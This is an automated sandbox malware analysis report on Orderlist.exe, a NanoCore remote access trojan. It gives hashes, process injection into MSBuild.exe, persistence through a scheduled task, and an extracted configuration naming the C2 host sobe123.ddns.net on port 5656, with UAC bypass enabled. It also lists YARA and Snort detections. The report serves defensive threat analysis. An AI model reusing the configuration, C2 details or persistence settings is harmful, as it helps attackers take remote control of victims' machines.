Play interactive tour

Edit tour

Windows Analysis Report Orderlist.exe

Overview

General Information

Sample Name:	Orderlist.exe
Analysis ID:	458451
MD5:	57201aec028c2bd9a91e79ed81aeb868
SHA1:	150471c9ac6f4324bbcd1a3852d1755fed87440a
SHA256:	580eb6d5dffc61f35b4fe0ea5c0ab113af6f39e971282f9fff016b7f54d036ab
Tags:	exeNanoCoreRAT
Infos:
Most interesting Screenshot:

Detection

Nanocore

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected Nanocore Rat

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: NanoCore

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Nanocore RAT

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Maps a DLL or memory area into another process

Uses dynamic DNS services

Uses schtasks.exe or at.exe to add and modify task schedules

Antivirus or Machine Learning detection for unpacked file

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

Orderlist.exe (PID: 5836 cmdline: 'C:\Users\user\Desktop\Orderlist.exe' MD5: 57201AEC028C2BD9A91E79ED81AEB868)

MSBuild.exe (PID: 5796 cmdline: 'C:\Users\user\Desktop\Orderlist.exe' MD5: 88BBB7610152B48C2B3879473B17857E)

schtasks.exe (PID: 1628 cmdline: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD5BB.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 1324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

MSBuild.exe (PID: 4204 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 0 MD5: 88BBB7610152B48C2B3879473B17857E)

conhost.exe (PID: 1188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: NanoCore

{"Version": "1.2.2.0", "Mutex": "8a1be7ed-1b25-4346-8844-80b424a6", "Group": "Default", "Domain1": "sobe123.ddns.net", "Domain2": "127.0.0.1", "Port": 5656, "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5024, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n  <RegistrationInfo />\r\n  <Triggers />\r\n  <Principals>\r\n    <Principal id=\"Author\">\r\n      <LogonType>InteractiveToken</LogonType>\r\n      <RunLevel>HighestAvailable</RunLevel>\r\n    </Principal>\r\n  </Principals>\r\n  <Settings>\r\n    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n    <AllowHardTerminate>true</AllowHardTerminate>\r\n    <StartWhenAvailable>false</StartWhenAvailable>\r\n    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n    <IdleSettings>\r\n      <StopOnIdleEnd>false</StopOnIdleEnd>\r\n      <RestartOnIdle>false</RestartOnIdle>\r\n    </IdleSettings>\r\n    <AllowStartOnDemand>true</AllowStartOnDemand>\r\n    <Enabled>true</Enabled>\r\n    <Hidden>false</Hidden>\r\n    <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n    <WakeToRun>false</WakeToRun>\r\n    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n    <Priority>4</Priority>\r\n  </Settings>\r\n  <Actions Context=\"Author\">\r\n    <Exec>\r\n      <Command>\"#EXECUTABLEPATH\"</Command>\r\n      <Arguments>$(Arg0)</Arguments>\r\n    </Exec>\r\n  </Actions>\r\n</Task"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
Process Memory Space: Orderlist.exe PID: 5836	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xde3:$x1: NanoCore.ClientPluginHost 0xe20:$x2: IClientNetworkHost 0x4911:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0xf997:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: Orderlist.exe PID: 5836	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: Orderlist.exe PID: 5836	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xab0:$a: NanoCore 0xac0:$a: NanoCore 0xb7f:$a: NanoCore 0xb8e:$a: NanoCore 0xd8f:$a: NanoCore 0xda3:$a: NanoCore 0xde3:$a: NanoCore 0xc001:$a: NanoCore 0xc013:$a: NanoCore 0xc04f:$a: NanoCore 0xb0f:$b: ClientPlugin 0xbd8:$b: ClientPlugin 0xdac:$b: ClientPlugin 0xdec:$b: ClientPlugin 0xc01c:$b: ClientPlugin 0xc058:$b: ClientPlugin 0xcd1:$c: ProjectData 0xbf4e:$c: ProjectData 0x16a5:$d: DESCrypto 0xc8ac:$d: DESCrypto 0x9062:$e: KeepAlive
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.Orderlist.exe.3850000.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
1.2.Orderlist.exe.3850000.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
1.2.Orderlist.exe.3850000.2.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.2.Orderlist.exe.3850000.2.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
1.2.Orderlist.exe.3850000.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
1.2.Orderlist.exe.3850000.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
1.2.Orderlist.exe.3850000.2.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.2.Orderlist.exe.3850000.2.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
Click to see the 3 entries

Sigma Overview

AV Detection:

Sigma detected: NanoCore

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe, ProcessId: 5796, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

E-Banking Fraud:

Sigma detected: NanoCore

Show sources

Source: File created

Stealing of Sensitive Information:

Sigma detected: NanoCore

Show sources

Source: File created

Remote Access Functionality:

Sigma detected: NanoCore

Show sources

Source: File created

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 1.2.Orderlist.exe.3850000.2.raw.unpack

Malware Configuration Extractor: NanoCore {"Version": "1.2.2.0", "Mutex": "8a1be7ed-1b25-4346-8844-80b424a6", "Group": "Default", "Domain1": "sobe123.ddns.net", "Domain2": "127.0.0.1", "Port": 5656, "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5024, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo />\r\n <Triggers />\r\n <Principals>\r\n <Principal id=\"Author\">\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n <AllowHardTerminate>true</AllowHardTerminate>\r\n <StartWhenAvailable>false</StartWhenAvailable>\r\n <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n <IdleSettings>\r\n <StopOnIdleEnd>false</StopOnIdleEnd>\r\n <RestartOnIdle>false</RestartOnIdle>\r\n </IdleSettings>\r\n <AllowStartOnDemand>true</AllowStartOnDemand>\r\n <Enabled>true</Enabled>\r\n <Hidden>false</Hidden>\r\n <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n <WakeToRun>false</WakeToRun>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <Priority>4</Priority>\r\n </Settings>\r\n <Actions Context=\"Author\">\r\n <Exec>\r\n <Command>\"#EXECUTABLEPATH\"</Command>\r\n <Arguments>$(Arg0)</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task"}

Multi AV Scanner detection for submitted file

Show sources

Source: Orderlist.exe

ReversingLabs: Detection: 26%

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Orderlist.exe PID: 5836, type: MEMORYSTR

Machine Learning detection for sample

Show sources

Source: Orderlist.exe

Joe Sandbox ML: detected

Source: 1.2.Orderlist.exe.37e0000.1.unpack

Avira: Label: TR/Patched.Gen

Source: Orderlist.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: Orderlist.exe, 00000001.00000003.230983802.0000000002090000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Orderlist.exe, 00000001.00000003.230983802.0000000002090000.00000004.00000001.sdmp
Source:	Binary string: C:\xampp\htdocs\Cryptor\c84e4bf723534453bcce544eaec30392\Loader\pr1\Release\pr1.pdb source: Orderlist.exe

Source: C:\Users\user\Desktop\Orderlist.exe

Code function: 1_2_004049F7 FindFirstFileExW,

1_2_004049F7

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49714 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49715 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49719 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49720 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49723 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49724 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49725 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49731 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49744 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49745 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49746 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49747 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49748 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49751 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49752 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49753 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49754 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49755 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49756 -> 185.244.30.22:5656
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.5:49757 -> 185.244.30.22:5656

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: sobe123.ddns.net
Source: Malware configuration extractor	URLs: 127.0.0.1

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: sobe123.ddns.net

Source: global traffic

TCP traffic: 192.168.2.5:49714 -> 185.244.30.22:5656

Source: Joe Sandbox View

IP Address: 185.244.30.22 185.244.30.22

Source: Joe Sandbox View

ASN Name: DAVID_CRAIGGG DAVID_CRAIGGG

Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 67.26.139.254
Source: unknown	TCP traffic detected without corresponding DNS query: 67.26.139.254
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.69.124
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.69.124
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.5.146
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.131
Source: unknown	TCP traffic detected without corresponding DNS query: 67.26.139.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.131
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.131
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 67.26.139.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.131
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.131
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.131
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.136
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.136
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.136
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.136

Source: unknown

DNS traffic detected: queries for: sobe123.ddns.net

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49679

E-Banking Fraud:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Orderlist.exe PID: 5836, type: MEMORYSTR

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: Orderlist.exe PID: 5836, type: MEMORYSTR	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: Orderlist.exe PID: 5836, type: MEMORYSTR	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: Orderlist.exe

Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_004133B5	1_2_004133B5
Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_0040A90D	1_2_0040A90D
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 7_2_05050708	7_2_05050708

Source: Orderlist.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Orderlist.exe, 00000001.00000003.233283009.00000000021E6000.00000004.00000001.sdmp

Binary or memory string: OriginalFilenamentdll.dllj% vs Orderlist.exe

Source: Orderlist.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: Orderlist.exe PID: 5836, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: Orderlist.exe PID: 5836, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore

Source: MSBuild.exe, 00000007.00000002.249014021.0000000002EB1000.00000004.00000001.sdmp

Binary or memory string: *.sln

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/9@20/2

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File created: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A

Jump to behavior

